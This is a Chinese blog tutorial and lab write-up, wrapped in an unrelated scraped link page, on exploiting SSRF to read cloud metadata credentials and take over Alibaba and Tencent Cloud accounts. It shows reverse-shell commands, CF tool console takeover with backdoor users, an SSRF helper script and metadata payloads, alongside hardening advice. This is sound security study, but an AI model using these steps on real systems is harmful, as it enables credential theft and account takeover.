当前位置: 首页 > news >正文

山西两学一做网站网站域名到期什么意思

山西两学一做网站,网站域名到期什么意思,上海网站建设优势,怎么查询网站有没备案文章目录 前言元数据服务威胁1.1 Metadata元数据1.2 RAM资源管理角色1.3 STS 临时凭据利用1.4 CF云环境利用框架1.5 元数据安全性增强 TerraformGoat2.1 永久性AccessKey2.2 SSRF靶场环境搭建2.3 腾讯云CVM配角色2.4 接管腾讯云控制台 SSRF组合拳案例3.1 上传图片功能SSRF3.2 文… 文章目录 前言元数据服务威胁1.1 Metadata元数据1.2 RAM资源管理角色1.3 STS 临时凭据利用1.4 CF云环境利用框架1.5 元数据安全性增强 TerraformGoat2.1 永久性AccessKey2.2 SSRF靶场环境搭建2.3 腾讯云CVM配角色2.4 接管腾讯云控制台 SSRF组合拳案例3.1 上传图片功能SSRF3.2 文件导出功能SSRF 总结 前言 云服务器的实例元数据是指在实例内部通过访问元数据服务Metadata Service获取的实例属性等信息如实例 ID、VPC 信息、网卡信息。元数据包含实例角色所对应的临时凭据的情况下如果服务器所搭载的对外业务服务存在 SSRF 漏洞将造成云服务器可被攻击者接管的风险。本文来具体实践、学习下 SSRF 漏洞给云服务元数据带来的安全威胁。 元数据服务威胁 在针对云上业务的的攻击事件中很多攻击者将攻击脆弱的元数据服务作为攻击流程中重要的一个环节并最终造成了严重的危害。 以 2019 年的美国第一资本投资国际集团CapitalOne信息泄露事件举例根据《ACase Study of the Capital One Data Breach》报告指出攻击者利用 CapitalOne 部署在 AWS 云上实例中的 SSRF 漏洞向元数据服务发送请求并获取角色的临时凭证在获取角色临时凭据后将该角色权限下的 S3 存储桶中的数据复制到攻击者的本地机器上最终导致这一严重数据泄露事件的产生这一事件影响了北美超过1亿人。CapitalOne 的股价在宣布数据泄露后收盘下跌 5.9%在接下来的两周内总共下跌了 15%。CapitalOne 信息泄露事件攻击原理图可参见图 1.1 Metadata元数据 由于腾讯云不给我提供免费试用的云服务器下文选用阿里云 ECS 服务进行学习和演示实际上不同云服务商的元数据服务管理大同小异。 参见阿里云官方文档《通过元数据从ECS实例内部获取实例属性等信息_云服务器 ECS(ECS)-阿里云帮助中心》可以获知元数据的含义 ECS 实例元数据是指在 ECS 实例内部通过访问元数据服务Metadata Service获取的实例属性等信息如实例 ID、VPC 信息、网卡信息。通过元数据服务您无需登录控制台或调用 API在实例内部即可获取实例信息可以更便捷、安全地配置或管理正在运行的实例或实例上的程序。例如在基于 ECS 实例的应用程序中通过元数据获取实例 RAM 角色的临时访问凭证以安全地访问相关授权资源比如访问 OSS 下载文件。 【元数据的使用限制】 仅网络类型为专有网络 VPC 的 ECS 支持实例元数据功能。仅支持在实例内部访问元数据服务器来获取实例元数据且实例需处于运行中状态。单实例高频访问元数据服务器获取元数据可能会导致限流。在高频访问场景下建议缓存已获取的实例元数据。以 RAM 临时安全凭证为例获取到凭证后建议将其缓存并在凭证接近过期时间前重新获取新的凭证以避免因频繁访问实例元数据服务器而导致的访问限流。 【获取实例元数据】 # 普通模式下获取其中metadata需替换为具体要查询的实例元数据可查阅实例元数据列表 curl http://100.100.100.200/latest/meta-data/metadata# 加固模式下获取 # 获取访问元数据服务器访问凭证需设置有效期不可包含标头X-Forwarded-For TOKENcurl -X PUT http://100.100.100.200/latest/api/token -H X-aliyun-ecs-metadata-token-ttl-seconds:元数据服务器访问凭证有效期 # 获取实例元数据 curl -H X-aliyun-ecs-metadata-token: $TOKEN http://100.100.100.200/latest/meta-data/metadata各个云厂商都有自己的元数据 metadata下面给出部分云厂商的元数据访问地址 阿里云元数据地址http://100.100.100.200/latest/meta-data/ram/security-credentials/${role-name} 腾讯云元数据地址http://metadata.tencentyun.com/latest/meta-data/cam/security-credentials/${role-name} 华为云元数据地址http://169.254.169.254/ 亚马云元数据地址http://169.254.169.254/ 微软云元数据地址http://169.254.169.254/ 谷歌云元数据地址http://metadata.google.internal/从上述阿里云官方文档的描述可以看出几点关键信息 元数据数据中包含敏感的实例 RAM 角色的临时访问凭证但是仅允许在实例内部通过请求内网地址来访问实例的元数据信息阿里云为 ECS 云服务器实例提供了加固模式下获取元数据的方式进一步规避元数据泄露风险。 Metadata 元数据的核心威胁 由于元数据服务部署在链路本地地址上云厂商默认没有进一步设置安全措施来检测或阻止由实例内部发出的恶意的对元数据服务的未授权访问。攻击者可以通过实例上应用的 SSRF 漏洞对实例的元数据服务进行访问。 因此如果实例中应用中存在 SSRF 漏洞那么元数据服务将会完全暴露在攻击者面前。在实例元数据服务提供的众多数据中有一项数据特别受到攻击者的青睐那就是角色的临时访问凭据。这将是攻击者由 SSRF 漏洞到获取实例控制权限的桥梁。 1.2 RAM资源管理角色 上文提到获取元数据敏感的数据是实例 RAM 角色的临时访问凭证RAMResource Access Management资源访问控制是阿里云提供的一项管理用户身份与资源访问权限的服务。参见官方文档《什么是RAM角色_访问控制(RAM)-阿里云帮助中心》可知 RAM 角色是一种虚拟用户可以被授予一组权限策略。与 RAM 用户不同RAM 角色没有永久身份凭证登录密码或访问密钥需要被一个可信实体扮演。扮演成功后可信实体将获得 RAM 角色的临时身份凭证即安全令牌STS Token使用该安全令牌就能以 RAM 角色身份访问被授权的资源。 在 Metadata 元数据中危害最大的莫过于能够获取到云服务器对应的 stsSecurity Token Service通过 sts 最大危害能够接管控制台如从云服务器 SSRF 漏洞到接管阿里云控制台。但在使用该攻击方法之前我们需要知道 ECS 本身是不存在 RAM 的通过具体的 ECS 云服务器实例来看下。 先申请阿里云免费试用新用户的 ECS 云服务器https://www.aliyun.com/daily-act/ecs/activity_selection 登录 ECS 服务器实例请求访问元数据 从返回的路径可以看出当前 Metadata 元数据资源中不包含 ram 子路径此时请求 http://100.100.100.200/latest/meta-data/ram/security-credentials/ 自然也是不包含 RAM 凭据信息的 如果我们需要让 ECS 拥有 RAM并且让我们去利用 metadata 进行渗透那么就首先需要去给对应的服务器授予一个 RAM 角色我们访问阿里云控制台搜索访问控制或直接访问https://ram.console.aliyun.com/roles并点击创建角色选择“阿里云服务角色” 在配置角色上选择普通服务角色并选择受信服务为云服务器 点击完成然后访问阿里云控制台搜索 ECS 或访问直接 https://ecs.console.aliyun.com/点击实例并且为服务器授予刚刚创建的 RAM 角色 然后再次请求访问元数据就会发现已经存在 ram 路径和 RoleTest 这个 ram 角色了 http://100.100.100.200/latest/meta-data/ram/security-credentials/并进一步获得临时凭证http://100.100.100.200/latest/meta-data/ram/security-credentials/RoleTest 但是拿到临时凭证不意味着就可以直接控制服务器实例还取决于该临时凭证所对应的角色所拥有的权限。 回到访问控制页面https://ram.console.aliyun.com/roles在角色栏中找到 RAM 角色 RoleTest可以发现此角色创建后是默认没有什么权限的 这意味着如果 RAM 角色没有被授权哪怕拿到了临时凭证也没有任何作用Metadata 渗透的成果取决于 RAM 角色的权限大小。反过来只要 RAM 角色的权限足够大即使它只是个 STS 凭证也能够造成足够威力的破坏。可以看到给角色新增授权的时候可以选择 AdministratorAccess使得拥有该角色的账户具备管理所有阿里云资源的权限。 小结一下访问管理的角色是拥有一组权限的虚拟身份用于对角色载体授予云中服务、操作和资源的访问权限。用户可以将角色关联到云服务器实例。为实例绑定角色后将具备以下功能及优势 可使用 STS 临时密钥访问云上其他服务可为不同的实例赋予包含不同授权策略的角色使实例对不同的云资源具有不同的访问权限实现更精细粒度的权限控制无需自行在实例中保存 SecretKey通过修改角色的授权即可变更权限快捷地维护实例所拥有的访问权限 具体的操作流程如下 在将角色成功绑定实例后用户可以在实例上访问元数据服务来查询此角色的临时凭据并使用获得的临时凭据操作该角色权限下的云服务 API 接口。 1.3 STS 临时凭据利用 每个云服务厂商都会提供对应的云服务器客户端管理工具拿到临时凭证后可以下载对应的客户端管理工具来管理云服务器实例。此处阿里云 ECS 服务器实例的话使用原生的阿里云 CLI 工具可以到官网下载含使用指导《安装指南_阿里云CLI(CLI)-阿里云帮助中心》。 本人选择安装到 VPS安装后首先需要配置 STS Token 凭证 aliyun configure --profile stsTokenProfile --mode StsToken接下来对 ECS 的管理可使用 aliyun ecs help 命令即可获取帮助信息也可以参考《 通过CLI使用和管理ECS实例及其示例_云服务器 ECS(ECS)》 aliyun ecs ApiName --parameter1 value1 --parameter2 value2 ...比如执行 aliyun ecs DescribeInstances 可查询实例信息 此处本人参考《创建云助手命令_云服务器 ECS(ECS)-阿里云帮助中心》构造命令和参数借助 aliyun-cli 执行任意命令来反弹 Shell # 1、创建命令CommandContent 参数是将要执行的命令的bash64值其他参数含义请参见官方文档 aliyun ecs CreateCommand --Type RunShellScript --RegionId cn-beijing --Name shell --CommandContent L2Jpb********************JjE # 2、执行命令 aliyun ecs InvokeCommand --RegionId cn-beijing --Timed false --InstanceId.1 i-2ze8lk******** --CommandId c-bj04ak********发现成功在 VPS 上反弹 Shell顺利接管 ECS 服务器 值得一提的是此过程中阿里云安全中心云盾https://yundun.console.aliyun.com/给出了两条告警发送了告警手机短信及时识别出了认证凭据泄露和服务器实例执行危险指令的安全风险 其他厂商的 MetaData 数据泄露凭证后的利用方式大致同上参见具体的官方指导文档即可。 1.4 CF云环境利用框架 针对不同厂商泄露 AK、SK 凭证后不同的 API 调用方式给攻击利用增加了不少成本需要大量阅读官方指导文档才行。teamssix 大佬开发了集成多个云服务厂商通用的渗透测试工具https://github.com/teamssix/cf同时提供了官方指导 Wiki 文档https://wiki.teamssix.com/cf/。 CF 即 Cloud Exploitation Framework 云环境利用框架的简称方便安全人员在获得 AK 的后续工作。适用于在红队场景中对云上内网进行横向、SRC 场景中对 Access Key 即访问凭证的影响程度进行判定、企业场景中对自己的云上资产进行自检等等。可惜该工具已经被作者转为闭源私有仓库了需私聊作者获取。 接下来看看如何通过 cf 工具快速利用获取到的元数据凭证数据接管阿里云 ECS 服务器。 [roothwc-hwp-587401-751218 CF]# ./cf▄████ ▐████▄██▀ ▀██ ██████╗ ███████╗▀▀ ▀▀ ██╔════╝ ██╔════╝▀▀▀▀▀▀▀▀▀▀ ██║ █████╗▄▄ ▄▄ ██║ ██╔══╝██▄ ▄██ ╚██████╗ ██║▀████ ▐████▀ ╚═════╝ ╚═╝github.com/teamssix/cf 当前 CF 版本是内部版本请勿对外转发。 CF 是一个云环境利用框架工具请在获得目标授权的情况下利用此工具。Usage:cf [command] Available Commands:about 关于作者alibaba 执行与阿里云相关的操作aws 执行与 AWS 相关的操作completion Generate the autocompletion script for the specified shellconfig 配置云服务商的访问密钥help Help about any commandhuawei 执行与华为云相关的操作tencent 执行与腾讯云相关的操作version 输出 CF 的版本和更新时间Flags:-h, --help help for cf--logLevel string 设置日志等级 [trace|debug|info|warn|error|fatal|panic] (default info)Use cf [command] --help for more information about a command. [roothwc-hwp-587401-751218 CF]#1、 先执行 ./cf config 进行云服务商的访问密钥的配置 2、 一键列出当前访问凭证的云服务资源 ./cf alibaba ls 3、 然后可执行 ./cf alibaba perm 来列出当前 RAM 角色的权限即一键列出当前访问凭证的权限 [roothwc-hwp-587401-751218 CF]# ./cf alibaba perm ? 枚举可能会导致 AK 被禁用是否继续 Yes [2024-02-04 11:24:37] INFO 当前用户名为 roletest (Current username is roletest) [roothwc-hwp-587401-751218 CF]#上面执行结果跟作者 Teamssix 给出的执行结果样例差距较大暂不知道原因正常应该列出当前凭据的角色对应的权限新如下所示 4、 查看 CF 为实例执行命令的操作的帮助信息 [roothwc-hwp-587401-751218 CF]# ./cf alibaba ecs exec -h 在实例上执行命令 (Execute the command on the instance) Usage:cf alibaba ecs exec [flags]Flags:-i, --InstanceId string 指定实例 ID (Specify Instance ID) (default all)-a, --allRegions 使用所有区域包括私有区域 (Use all regions, including private regions)-b, --batchCommand 一键执行三要素方便 HW (Batch execution of multiple commands used to prove permission acquisition)-c, --command string 设置待执行的命令 (Set the command you want to execute)-f, --file string 设置待执行的命令文件 (Set the command file you want to execute)-h, --help help for exec--lhost string 设置反弹 shell 的主机 IP (Set the ip of the listening host)--lport string 设置反弹 shell 的主机端口 (Set the port of the listening host)-m, --metaDataSTSToken 一键获取实例元数据中的临时访问密钥 (Get the STS Token in the instance metadata)-r, --region string 指定区域 ID (Specify region ID) (default all)-s, --scriptType string 设置执行脚本的类型 (Specify the type of script to execute) [sh|bat|ps] (default auto)-t, --timeOut int 设置命令执行结果的等待时间 (Set the command execution result waiting time) (default 60)-u, --userData 一键获取实例中的用户数据 (Get the user data on the instance)--userDataBackdoor string 用户数据后门需要输入后门命令 (User data backdoor requires inputting the backdoor command)Global Flags:--flushCache 刷新缓存不使用缓存数据 (Refresh the cache without using cached data)--logLevel string 设置日志等级 [trace|debug|info|warn|error|fatal|panic] (default info) [roothwc-hwp-587401-751218 CF]#执行任意命令 ./cf alibaba ecs exec -i i-2zeXXXXX实例ID -c whoami id在 CF 中执行反弹 Shell 命令同样会触发了阿里云云盾的安全告警 cf alibaba ecs exec --lhost 123.123.123.123 --lport 4444 -i i-abXXXXXX实例ID参数释义--lhost 参数配置为自己监听主机的 IP--lport 参数配置为自己的监听端口-i 设置要反弹 Shell 的实例 ID如果未指定具体的实例则 CF 会提醒是否是选择全部实例还是某个实例5、接下来上大招在当前访问凭证至少拥有 AliyunRAMFullAccess 权限的情况下可以借助 CF 工具一键接管控制台接管控制台的时候默认会创建一个管理员后门用户 # 一键接管控制台会创建后门用户可登录阿里云Web控制台 cf alibaba console # 如果不想使用默认用户名可以通过 -u 参数指定新建用户名 cf alibaba console -u Tr0e# 取消接管控制台后门用户也会随之删除 cf alibaba console cancel为了避免一键创建后门账户触发云盾告警CF 默认创建的账户并未具备高权限 但是我们可以通过 https://ram.console.aliyun.com/users 给自己账户添加完全管理权限来接管整个云资源 以上过程则不会触发云盾的告警最后别忘了删除后门账户。 关于 CF 其他功能用法以及对其它云服务厂商的利用请参见作者提供的官方 Wiki 文档不再赘述。 1.5 元数据安全性增强 从阿里云官方文档《通过元数据从ECS实例内部获取实例属性等信息_云服务器 ECS(ECS)-阿里云帮助中心》可以看出阿里云为元数据提供了加固模式 加固模式下获取元数据 # 获取访问元数据服务器访问凭证需设置有效期范围为1秒~21600秒6小时不可包含标头X-Forwarded-For TOKEN curl -X PUT http://100.100.100.200/latest/api/token -H X-aliyun-ecs-metadata-token-ttl-seconds:元数据服务器访问凭证有效期 # 获取实例元数据 curl -H X-aliyun-ecs-metadata-token: $TOKEN http://100.100.100.200/latest/meta-data/metadata可以看出加固模式下实例和实例元数据服务器之间通过 PUT 请求来建立一个会话并在查看实例元数据时通过 Token 验证身份超过有效期后关闭会话并清除 Token。由于 SSRF 漏洞的 HTTP 请求正常情况下无法满足发起 PUT 请求的条件故可以保障云服务器的业务存在 SSRF 漏洞的情况下不被攻击者轻易利用来获取敏感的元数据。 在已经创建好的 ECS 实例中可以在阿里云 OpenAPI 中开启元数据强制使用 Token 访问OpenAPI 地址https://next.api.aliyun.com/api/Ecs/2014-05-26/ModifyInstanceMetadataOptions将 HttpTokens 设置为 required 即表示强制使用加固模式此时再访问元数据就会提示 403 了。 但是阿里云默认是同时提供普通模式和加固模式来获取元数据的也就意味着这是一个“默认不安全”的安全增强机制。同时当攻击者通过其他漏洞例如 RCE 漏洞获取实例的控制权之后元数据的加固模式带来的安全机制将变得形同虚设。因为攻击者可以在实例上发送 PUT 请求获取 token随后利用获得的 token 获取角色临时凭据最后利用角色临时凭据访问角色绑定的一切云业务具体流程见下图 总之当攻击者通过 RCE 漏洞获取实例控制权后可以通过元数据服务获取到的临时凭据进行云服务的横向移动。攻击者也可以查看服务器上其他业务的 AK、SK 等敏感凭据比如对象存储服务、数据库服务器的配置文件进而接管更多服务器实例。鉴于云厂商产品 API 功能的强大性在获取角色临时凭据后可能造成及其严重的影响值得注意的是如果在云平台控制台中执行一些高危行为平台默认都会需要进行手机验证。但通过使用临时凭据调用发送请求调用API接口并不需要手机验证码可以绕过这项安全检测。 TerraformGoat TerraformGoat 是火线安全团队提供的一个支持多云的云场景漏洞靶场搭建工具https://github.com/HXSecurity/TerraformGoat/目前支持阿里云、腾讯云、华为云、Amazon Web Services、Google Cloud Platform、Microsoft Azure 六个云厂商的云场景漏洞搭建。下文将借助该工具搭建一个腾讯云的 SSRF 云靶场环境演示如何借助 SSRF 漏洞接管腾讯云控制台。本来是要搭建阿里云 SSRF 环境的但是报错了成功案例参见《从云服务器 SSRF 漏洞到接管你的阿里云控制台》。 2.1 永久性AccessKey TerraformGoat 搭建阿里云靶场时需要配置 AccessKey此 AccessKy 并不是上文提到的元数据认证信息里面的临时凭据AccessKey简称AK是阿里云提供给阿里云用户的永久访问密钥用于通过开发工具API、CLI、SDK、Cloud Shell、Terraform 等访问阿里云时的身份验证不用于控制台登录。AccessKey 包括 AccessKey ID 和 AccessKey Secret需要一起使用请妥善保管。具体如下 AccessKey ID用于标识用户AccessKey Secret用于验证用户的密钥。AccessKey Secret 必须保密 官方文档《阿里云AccessKey如何创建_访问控制(RAM)-阿里云帮助中心》给出了创建 AccessKey 的方法先创建好备用 腾讯云的 AccessKey 获取方式https://console.cloud.tencent.com/cam/capi也一样 2.2 SSRF靶场环境搭建 参见官方中文指导文档https://github.com/HXSecurity/TerraformGoat/blob/main/README_CN.md。 TerraformGoat 使用 Docker 镜像部署根据你使用到的云服务提供商选择对应的安装命令。阿里云下的环境搭建 docker pull registry.cn-hongkong.aliyuncs.com/huoxian_pub/terraformgoat_aliyun:0.0.7 docker run -itd --name terraformgoat_aliyun_0.0.7 registry.cn-hongkong.aliyuncs.com/huoxian_pub/terraformgoat_aliyun:0.0.7 docker exec -it terraformgoat_aliyun_0.0.7 /bin/bash进入到阿里云 ECS SSRF 靶场路径下并配置你的 AccessKey cd /TerraformGoat/aliyun/ecs/ecs_ssrf/ aliyun configure接着可以开始正式部署、初始化 SSRF 靶场环境 terraform init terraform apply结果搭建失败原以为是因为免费版的导致失败结果购买了按量付费的新的实例依旧初始化靶场失败原因不详…… 更换为腾讯云的 SSRF 靶场指导文档https://github.com/HXSecurity/TerraformGoat/blob/main/tencentcloud/cvm/cvm_ssrf/README_CN.md # 1、拉取腾讯云靶场 docker pull registry.cn-hongkong.aliyuncs.com/huoxian_pub/terraformgoat_tencentcloud:0.0.7 docker run -itd --name terraformgoat_tencentcloud_0.0.7 registry.cn-hongkong.aliyuncs.com/huoxian_pub/terraformgoat_tencentcloud:0.0.7 docker exec -it terraformgoat_tencentcloud_0.0.7 /bin/bash# 2、完成密钥配置与 SSRF 靶场初始化设置在 terraform.tfvars 文件填入腾讯云 AccessKey cd /TerraformGoat/tencentcloud/cvm/cvm_ssrf vim terraform.tfvars terraform init terraform apply# 3、实验最后的环境销毁 terraform destroy额……充值 10 块试试终于搭建成功了 这个过程中靶场借助我提供的 AccessKey 为我自动购买了一个新的按量计费腾讯云服务器实例并搭建了 SSRF 环境细思极恐……最后给出了一个公网地址的 SSRF 链接 在存在 SSRF 漏洞的 CVM 服务器实例上我们可以利用 SSRF 读取 CVM 的元数据信息 # 读取腾讯云的元数据 http://metadata.tencentyun.com/latest/meta-data/但是没有看到具备角色的 ram/ 路径无法获取临时凭证需要我们进一步手工给服务器实力配置角色和权限。 腾讯云元数据官方指导文档《云服务器 查看实例元数据-操作指南-文档中心-腾讯云》。 2.3 腾讯云CVM配角色 腾讯云 CVM 服务器实例的角色配置跟阿里云 ECS 服务器大同小异角色管理地址https://console.cloud.tencent.com/cam/role。 新建角色 tr0e角色配置选择“腾讯云产品服务–云服务器–AdministratorAccess” 然后给 CVM 服务器实例授予该角色 此时再到 SSRF-Lab 访问实例的元数据就可以看到 CVM 服务器实例的 CAM 角色所生成的临时凭证了TmpSecretKey、Token 等字段 # 读取腾讯云的元数据 http://metadata.tencentyun.com/latest/meta-data/# 读取腾讯云的元数据中的会话凭据 http://metadata.tencentyun.com/latest/meta-data/cam/security-credentials/tr0e在上述获得的凭据信息中看到了 Expiration 字段回顾下跟上文 Accesskey 的最大区别就是角色的会话凭证是有时效性的 【安全风险提醒】 注意由于是暴露在公网的靶场所以务必要要小心谨慎即使清除靶场环境……上述 AdministratorAccess 的角色策略决定了其相应实体的会话凭据泄露足以导致整个腾讯云控制台被接管也就是你名下所有腾讯云服务器资源都可以被控制。 实际上我们完全给腾讯云 CVM 实例授予角色后在实例内部访问元数据地址来获得临时凭据并进行下一步的漏洞利用。为了避免公网靶场导致自己的腾讯云控制台被接管先回到 TerraformGoat 容器内销毁腾讯云 SSRF 靶场实例 terraform destroy将自动销毁创建的腾讯云 CVM 服务器实例并退还冻结资金 然后重新手动创建并 购买一个按量计费的腾讯云 CVM 服务器实例 即可 至于给新的实例进行角色授权配置的过程则不再赘述通过新实例访问元数据中的临时凭据 2.4 接管腾讯云控制台 接下来看看如何通过腾讯云 SSRF 漏洞窃取到实例的临时会话凭证后完成腾讯云控制台的接管。漏洞利用过程可以直接使用 CF 框架进行利用也可以使用腾讯云官方提供的客户端管理工具 TCCLI《命令行工具 产品简介-文档中心-腾讯云》。TCCLI 是管理腾讯云资源的统一工具通过腾讯云命令行工具您可以快速轻松的调用腾讯云 API 来管理您的腾讯云资源进行无图形页面操作腾讯云资源。 TCCLI 的具体用法请参见官方指导文档似乎不支持直接配置 CVM 实例所在角色对应的临时凭证下文将借助 CF 框架一键完成腾讯云控制台的接管。 [roothwc-hwp-587401-751218 CF]# ./cf tencent 执行与腾讯云相关的操作 Usage:cf tencent [command]Available Commands:console 一键接管控制台 (Takeover console)cvm 执行与弹性计算服务相关的操作 (Perform cvm-related operations)lh 执行与轻量计算服务相关的操作 (Perform lh-related operations)perm 列出当前凭证下所拥有的权限 (List access key permissions)regions 列出可用区域 (List available regions)uninstall 一键卸载云镜 (Uninstall Agent)Flags:-h, --help help for tencentGlobal Flags:--logLevel string 设置日志等级 [trace|debug|info|warn|error|fatal|panic] (default info) Use cf tencent [command] --help for more information about a command. [roothwc-hwp-587401-751218 CF]#先进行认证凭据的配置 一键接管控制台 登录腾讯云控制台接管账户 最后借助 CF 删除创建的后门账户并清除 CVM 角色避免被入侵没有使用需求的情况下销毁服务器实例避免耗费资金。 值得一提的是上述 CF 利用全程腾讯云安全防护中心免费版均为发生告警信息这个比起阿里云云盾的风险识别能力还是相差较大的 SSRF组合拳案例 下文将记录的是从网上优秀博文提取的借助 SSRF 漏洞获取云服务器 Metadata 敏感元数据并接管目标服务器的实例以提供一些实战过程中漏洞挖掘思路。 3.1 上传图片功能SSRF 源于 Teamssix 大佬的《我用 CF 打穿了他的云上内网》。 通过指纹扫描发现在目标范围内的一个站点使用了 Laravel 框架接着测试发现该站点存在 Laravel UEditor SSRF 漏洞。这里的 SSRF 漏洞触发点在 UEditor 编辑器的上传图片功能中下面我们尝试让服务器从 https://baidu.com?.jpg 获取图片 然后我们读取返回的文件地址通过返回的内容可以看到服务端确实访问到了 https://baidu.com?.jpg说明这里确实存在 SSRF 漏洞。 通过查询该域名所属 IP发现该站点位于云上那么我们就可以利用这个 SSRF 漏洞去获取实例的元数据信息但是这样每次获取数据都要手动发两个数据包就很麻烦所以这里简单搞个脚本。 import sys import requestsssrf_url sys.argv[1] headers {User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.3100.0 Safari/537.36}req1 requests.get(https://your_target.com/laravel-u-editor-server/server?actioncatchimagesource[] ssrf_url,headersheaders) req2 requests.get(req1.json()[list][0][url],headersheaders)print(req2.text)通过查询该站点的 IP 得知该站点位于阿里云上阿里云的元数据地址为 http://100.100.100.200/latest/meta-data我们尝试获取一下。 可以看到成功获取到了元数据信息并且值得注意的是在元数据信息里还有 ram/目录这就意味着这台实例存在临时访问凭证也就是说存在被进一步利用的可能性。我们一步步打开 ram/ 目录在 http://100.100.100.200/latest/meta-data/ram/security-credentials/laravel-test-role 下找到了临时访问凭证。 接下来就是借助 CF 工具开展云上的横向渗透利用了具体请参见原文。 3.2 文件导出功能SSRF 本小节源于《奇安信攻防社区-文件导出功能的SSRF》。 有些网站存在功能能够将一些将数据分析的表格导出为 pdf 或者图片如下 POST 数据包html 文件就是我们要导出的内容而这里存在 ssrf 漏洞 我们将 html 内容修改为 svgiframe srchttp://123312.h41t0y.dnslog.cn width height //svg可以看到成功触发了 dnslog 请求说明此处是存在 SSRF 漏洞的。 当一些特殊标签比如svg,Iframe等被禁用后我们可以使用 meta0 秒刷新请求元数据以下为具体 payload meta http-equivrefresh content0;urlhttp://metadata.tencentyun.com/latest/meta-data /那么目标服务器的metadata信息就会打印在输出的 PDF 文件上 其他可供参考学习的思路与案例 《印象笔记 价值 5000$的SSRF 案例分析 | CTF导航》;《翻译文章 | 将SSRF升级为通过 aws 元数据访问所有用户 PII 信息》 总结 本文讲述了云服务厂商的云服务器实例提供的元数据服务所面临的安全威胁如果云服务器存在 SSRF 漏洞导致元数据中实例具备的角色所对应的临时凭据谢泄露那么攻击者可以通过云服务厂商提供的客户端管理工具或者 CF 云环境利用工具非法调用受害者的云服务实例 API甚至创建后门账户接管云服务管理台接管受害者的所有云服务资源。作为云服务器的运维人员应当在规避对外业务 SSRF 漏洞的同时避免对服务器实例授予过高权限的角色。 下面引用 Teamssix 大佬的《从云服务器 SSRF 漏洞到接管你的阿里云控制台》的精辟总结Respect 上述方法在实战中想要使用是有一些前提的主要前提有以下两个 ECS 实例腾讯云是 CVM 需要被授予 RAM 角色不然访问临时凭证的元数据会返回 404RAM 角色需要具备 ram 访问控制的相关操作权限例如创建用户、赋予权限等不然临时秘钥会没有创建子用户的权限 在实战中如果遇到了 ECS 实例被授予了 RAM 角色的情况大多时候该角色都是不具备创建用户权限的这时就没法通过创建子账号登录控制台的方式了只能通过阿里云命令行工具去操作目标云服务了。 总的来说云上攻防和常规的内网攻防还是十分不一样的。 云上攻防的常见问题是配置错误例如这里的问题就是 RAM 角色配置权限过高。云上攻防的权限维持主要方法是创建 RAM 高权限用户而不是像传统攻防里那样有五花八门的权限维持方法。云上攻防的内网横向主要是在云服务厂商命令行或者控制台中进行横向从这个云服务横向到另一个云服务而不是像传统攻防那样有各种各样的内网横向手法。 最后更多的云服务安全攻防资料可参见《攻防矩阵 | 云安全知识库》、《Awesome Cloud Security 云安全资源汇总》。 本文相关的参考文章 阿里云 ECS 弹性计算服务攻防 | 云安全知识库浅谈阿里云ECS渗透之元数据Cloud RedTeam视角下元数据服务攻防实践浅谈云上攻防之元数据服务带来的安全挑战-安全客我用 CF 打穿了他的云上内网_cf内网穿透-CSDN博客
http://www.hkea.cn/news/14293977/

相关文章:

  • visio网站建设流程图山东建设监理协会网站无法登录
  • 新县住房和城乡规划建设网站百度怎么做关键词优化
  • 中国旅游网站模板图片网站建站系统
  • 网站备案 两个域名信息流广告文案
  • 深圳平湖网站建设系统搭建平台
  • 网站死链排查郑州的网站公司哪家好
  • 企业网站建站哪家好浙江建设工程信息网官网入口网址
  • asp网站乱码做阿里巴巴网站 店铺装修免费吗
  • 做网站所用的工具开发小程序商城的费用
  • 做公司网站的南京网站开发公司哪家好
  • PHP网站建设的课后笔记企微管家
  • 湖南响应式网站建设价位江门网站推广排名
  • 深圳福田车公庙网站建设越影网站建设
  • 申请域名后 怎么把网站部署上去企业网站托管服务公司
  • 建设厅科技中心网站给公司做兼职维护网站多少钱
  • 在线课堂手机网站模板哪些人是建网站的
  • 网站的规划与创建php 网站做分享功能
  • 网站seo关键词排名推广郑州注册网站
  • 做网站手机版网站手机客户端生成
  • 有网站吗推荐一下国内国际时事心得体会
  • 商城版免费网站自己做网站需要多少钱
  • 用iis制作简单网站商业网站网址
  • wordpress源码整站个人网站免费域名获取
  • 网站开发网上悼念网络推广网站公司
  • 网站建站公司哪家好做神马网站优化排名软
  • 创建自己的网站需要多少钱北京软件开发公司排行榜最新
  • 做网站赚多少秦皇岛住房和城乡建设网官网
  • 天河区住房和建设水务局网站wordpress文章文件
  • 仿阿里巴巴行业门户贸易网站模板什么是网络营销的方法
  • 微信小网站制作网站建设和维护释义